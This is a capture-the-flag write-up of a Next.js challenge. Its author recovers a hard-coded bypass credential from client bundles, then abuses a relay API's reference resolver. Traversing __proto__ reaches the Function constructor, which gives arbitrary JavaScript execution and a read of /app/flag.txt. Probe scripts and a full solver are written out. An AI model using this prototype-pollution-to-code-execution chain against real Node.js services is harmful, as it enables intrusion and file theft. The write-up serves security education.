Phantom Relay
http://34.126.187.50:5510/Web Exploitation500Mediumhack10{flag_here}1. Challenge Overview
Phantom Relay is a Next.js web challenge centered on a relay API that accepts JSON instruction arrays. The frontend hints at a locked-down relay UI, but the real bug lives in the backend reference resolver used by /api/relay. The objective was to recover the flag by abusing that reference engine.
2. Initial Reconnaissance
I started with passive HTTP inspection of the landing page, login page, and relay workflow.
Command:
1curl -i -sS http://34.126.187.50:5510/Output:
1HTTP/1.1 200 OK2Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding3x-nextjs-cache: HIT4x-nextjs-prerender: 15x-nextjs-prerender: 16x-nextjs-stale-time: 3007X-Powered-By: Next.js8Cache-Control: s-maxage=315360009ETag: "pclaf6nc928dd"10Content-Type: text/html; charset=utf-811Content-Length: 1084912Date: Fri, 27 Mar 2026 14:18:34 GMT13Connection: keep-alive14Keep-Alive: timeout=515<!DOCTYPE html><html lang="en"><head>...<title>Phantom Syndicate</title>...</head><body ...><main class="layout-container">...<a class="btn" href="/login">Authenticate</a>...</main>...</body></html>Command:
1curl -i -sS http://34.126.187.50:5510/loginOutput:
1HTTP/1.1 200 OK2Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding3x-nextjs-cache: HIT4x-nextjs-prerender: 15x-nextjs-prerender: 16x-nextjs-stale-time: 3007X-Powered-By: Next.js8Cache-Control: s-maxage=315360009ETag: "yy2kal8siz6m7"10Content-Type: text/html; charset=utf-811Content-Length: 859112Date: Fri, 27 Mar 2026 14:18:49 GMT13Connection: keep-alive14Keep-Alive: timeout=515<!DOCTYPE html><html lang="en"><head>...<title>Phantom Syndicate</title>...</head><body ...><main class="layout-container"><div class="bento-card" style="max-width:450px;width:100%;margin:0 auto"><div class="navbar" style="margin-bottom:2rem;padding-bottom:1rem"><a class="brand" href="/">Phantom Syndicate</a></div><h1 style="font-size:1.25rem">Operator Gateway</h1><p style="margin-bottom:2rem">Provide credentials to access infrastructure.</p><form><div class="input-group"><label>Access ID</label><input type="text" class="input-field" required="" placeholder="OP-XXXX" value=""/></div><div class="input-group"><label>Passphrase</label><input type="password" class="input-field" required="" placeholder="••••••••" value=""/></div><button type="submit" class="btn" style="width:100%;margin-top:1rem">Sign In</button></form></div>...</main>...</body></html>Command:
1python3 - <<'PY'2import requests3base='http://34.126.187.50:5510'4js=requests.get(base+'/_next/static/chunks/09d1-27o-77uy.js',timeout=10).text5print(js[:20000])6PYOutput:
1(globalThis.TURBOPACK||(globalThis.TURBOPACK=[])).push([... e.s(["default",0,function(){(0,r.useEffect)(()=>{console.debug(`2 [PORTAL_MEMO_INTERNAL]3 To: All Provisioned Operators4 From: Infra_Ops5 Due to the recent rolling blackouts on the primary LDAP server, standard SSO 6 authentication is temporarily degraded. The fallback authentication tunnel 7 remains active. 8 If your access card is rejected, use the emergency administrative bypass 9 credential: 'phantom_op_88' with the standard 'admin' ID.10 Do not run enumeration scripts against this portal.11 `)},[]);let e=(0,n.useRouter)(),[a,u]=(0,r.useState)(""),[l,i]=(0,r.useState)(""),[s,c]=(0,r.useState)(!1),[d,f]=(0,r.useState)("");return ... "admin"===a\&\&"phantom_op_88"===l?(document.cookie="phantom_auth=valid_session; path=/; max-age=3600",e.push("/dashboard")) ...Command:
1curl -i -sS -H 'Cookie: phantom_auth=valid_session' http://34.126.187.50:5510/relayOutput:
1HTTP/1.1 200 OK2Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding3x-nextjs-cache: HIT4x-nextjs-prerender: 15x-nextjs-prerender: 16x-nextjs-stale-time: 3007X-Powered-By: Next.js8Cache-Control: s-maxage=315360009ETag: "5hfgw3dtbq6xp"10Content-Type: text/html; charset=utf-811Content-Length: 898912Date: Fri, 27 Mar 2026 14:19:17 GMT13Connection: keep-alive14Keep-Alive: timeout=515<!DOCTYPE html><html lang="en"><head>...<title>Phantom Syndicate</title>...</head><body ...><main class="layout-container"><div style="width:100%;max-width:900px"><div class="navbar"><div class="brand">Phantom / Relay</div><div class="links"><a href="/dashboard">Dashboard</a><a href="/login">Sign Out</a></div></div><div class="bento-card" style="margin-bottom:2rem;padding:3rem"><h1 style="font-size:1.5rem;margin-bottom:0.5rem">Relay Pipeline</h1><p style="margin-bottom:2rem">Select a pre-configured diagnostic routine. Manual instruction injection has been temporarily restricted in the UI to prevent arbitrary execution payloads.</p>...</div></div>...</main>...</body></html>Command:
1python3 - <<'PY'2import requests3base='http://34.126.187.50:5510'4js=requests.get(base+'/_next/static/chunks/0nfecibteu-8f.js',headers={'Cookie':'phantom_auth=valid_session'},timeout=10).text5print(js[:30000])6PYOutput:
1(globalThis.TURBOPACK||(globalThis.TURBOPACK=[])).push([... e.s(["default",0,function(){(0,r.useEffect)(()=>{console.debug(`2 [INCIDENT_REPORT_#8492]3 To: Core Dev Team4 From: V1p3r5 The relay UI has been locked down. The raw JSON input has been removed 6 from the interface. Operators must adhere to the three approved diagnostic 7 routines mapped in the selector.8 I received the security audit regarding the reference engine resolving deep paths.9 The auditor claimed that walking up the object tree could lead to an execution breakout.10 This is theoretical nonsense. The $@X operator only takes the preceding index 11 as context and evaluates the target. It's fully sandboxed. Nobody can reach the 12 baseline runtime context just by passing weird strings into the array.13 Monitor the endpoint for unexpected array schemas.14 `)},[]);let[e,o]=(0,r.useState)("ping"),... s={ping:{name:"Node Diagnostic Ping",payload:{instructions:["PING_TEST","$0","NODE_ALIVE"]}},sync:{name:"Force Time Sync",payload:{instructions:["SYNC_TIME","$0","NTP_UPDATED"]}},flush:{name:"Flush Buffer",payload:{instructions:["FLUSH_CMD","$0","BUFFER_CLEARED"]}}},c=async t=>{... fetch("/api/relay",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(t)}) ...3. Analysis / Forensics Path
The relay page leaked the exact client request shape:
1{"instructions":["PING_TEST","$0","NODE_ALIVE"]}From there I probed the API directly.
Command:
1curl -i -sS -H 'Cookie: phantom_auth=valid_session' -H 'Content-Type: application/json' -d '{"instructions":["PING_TEST","$0","NODE_ALIVE"]}' http://34.126.187.50:5510/api/relayOutput:
1HTTP/1.1 200 OK2vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch3content-type: application/json4Date: Fri, 27 Mar 2026 14:19:43 GMT5Connection: keep-alive6Keep-Alive: timeout=57Transfer-Encoding: chunked8{"success":true,"results":["PING_TEST","PING_TEST","NODE_ALIVE"]}That confirmed $0 dereferences the previous result.
Next I validated prototype traversal:
Command:
1python3 - <<'PY'2import requests3url='http://34.126.187.50:5510/api/relay'4headers={'Cookie':'phantom_auth=valid_session','Content-Type':'application/json'}5probes=[6 '$@0.__proto__.constructor.name',7 '$@0.__proto__.constructor.constructor.name'8]9for p in probes:10 r=requests.post(url,headers=headers,json={'instructions':[{'a':1},p,'DONE']},timeout=10)11 print('PROBE:',p)12 print(r.text)13 print('---')14PYOutput:
1PROBE: $@0.__proto__.constructor.name2{"success":true,"results":[{"a":1},"Object","DONE"]}3---4PROBE: $@0.__proto__.constructor.constructor.name5{"success":true,"results":[{"a":1},"Function","DONE"]}6---That is the key primitive: user-controlled JSON can walk to the JavaScript Function constructor.
The final behavior model came from differentiating $... and $@.... $ preserves function objects in the live evaluation chain. $@X invokes the function resolved from target index X using the entry immediately before target X as its invocation argument.
This command proved the execution model:
1python3 - <<'PY'2import requests, json3url='http://34.126.187.50:5510/api/relay'4headers={'Content-Type':'application/json'}5payloads=[6 [ {'a':1}, 'return 1337', '$0.__proto__.constructor.constructor', '$@2', '$@3' ],7 [ {'a':1}, 'return process.version', '$0.__proto__.constructor.constructor', '$@2', '$@3' ],8]9for ins in payloads:10 r=requests.post(url,headers=headers,json={'instructions':ins},timeout=10)11 print('INS:',json.dumps(ins))12 print(r.text)13 print('---')14PYOutput:
1INS: [{"a": 1}, "return 1337", "$0.__proto__.constructor.constructor", "$@2", "$@3"]2{"success":true,"results":[{"a":1},"return 1337",null,null,1337]}3---4INS: [{"a": 1}, "return process.version", "$0.__proto__.constructor.constructor", "$@2", "$@3"]5{"success":true,"results":[{"a":1},"return process.version",null,null,"v20.20.2"]}6---This gave direct JavaScript execution inside the Node.js runtime.
I then enumerated the runtime and found the flag file in /app:
Command:
1python3 - <<'PY'2import requests, json3url='http://34.126.187.50:5510/api/relay'4headers={'Content-Type':'application/json'}5exprs=[6 'return process.cwd()',7 'return process.mainModule \&\& process.mainModule.require("fs").readdirSync(".")',8]9for e in exprs:10 ins=[{'a':1}, e, '$0.__proto__.constructor.constructor', '$@2', '$@3']11 r=requests.post(url,headers=headers,json={'instructions':ins},timeout=10)12 print('EXPR:',e)13 print(r.text)14 print('---')15PYOutput:
1EXPR: return process.cwd()2{"success":true,"results":[{"a":1},"return process.cwd()",null,null,"/app"]}3---4EXPR: return process.mainModule \&\& process.mainModule.require("fs").readdirSync(".")5{"success":true,"results":[{"a":1},"return process.mainModule \&\& process.mainModule.require(\\"fs\\").readdirSync(\\".\\")",null,null,[".git",".gitignore",".next","AGENTS.md","CLAUDE.md","Dockerfile","FRONTEND_SPECIFICATION.md","README.md","app","docker-compose.yml","eslint.config.mjs","flag.txt","lib","middleware.ts","next-env.d.ts","next.config.ts","node_modules","package-lock.json","package.json","postcss.config.mjs","public","tsconfig.json"]]}6---4. Exploitation / Recovery
Once the Function chain was confirmed, the flag read was a direct file read from /app/flag.txt.
Exact solver script used:
1#!/usr/bin/env python32import requests3def main() -> None:4 url = "http://34.126.187.50:5510/api/relay"5 expr = 'return process.mainModule.require("fs").readFileSync("/app/flag.txt","utf8")'6 payload = {7 "instructions": [8 {"a": 1},9 expr,10 "$0.__proto__.constructor.constructor",11 "$@2",12 "$@3",13 ]14 }15 response = requests.post(url, json=payload, timeout=10)16 response.raise_for_status()17 data = response.json()18 print(data["results"][-1].strip())19if __name__ == "__main__":20 main()Exact command used to execute the solver:
1python3 solve_phantom_relay.pyOutput:
I also captured the flag directly with the exact one-liner used during exploitation:
1python3 - <<'PY'2import requests, json3url='http://34.126.187.50:5510/api/relay'4headers={'Content-Type':'application/json'}5expr='return process.mainModule.require("fs").readFileSync("/app/flag.txt","utf8")'6ins=[{'a':1}, expr, '$0.__proto__.constructor.constructor', '$@2', '$@3']7r=requests.post(url,headers=headers,json={'instructions':ins},timeout=10)8print(r.text)9PYOutput:
1{"success":true,"results":[{"a":1},"return process.mainModule.require(\\"fs\\").readFileSync(\\"/app/flag.txt\\",\\"utf8\\")",null,null,"hack10{ph4nt0m_r3l4y_3scap3d}\\n"]}5. Flag
6. Summary of Approach & Key Takeaways
Identified the app as a Next.js frontend with a client-side-only login flow.
Recovered the fallback login and session cookie logic from the exposed login bundle.
Recovered the relay API shape from the relay bundle and extracted the developer memo about $@X.
Confirmed that the relay API dereferenced attacker-controlled object paths through __proto__.
Walked the prototype chain to Function.
Derived the invocation semantics of $@X.
Used a two-stage Function constructor chain to execute arbitrary JavaScript.
Enumerated the runtime, found /app/flag.txt, and read the flag.
Frontend “sanitization” is irrelevant when the backend still accepts the raw structure.
Any custom reference engine that resolves deep object paths in JavaScript must explicitly block prototype traversal.
Reaching constructor.constructor is enough for code execution if user-controlled strings can be fed into the resulting function object.
Client bundles often leak both request formats and developer assumptions about backend safety.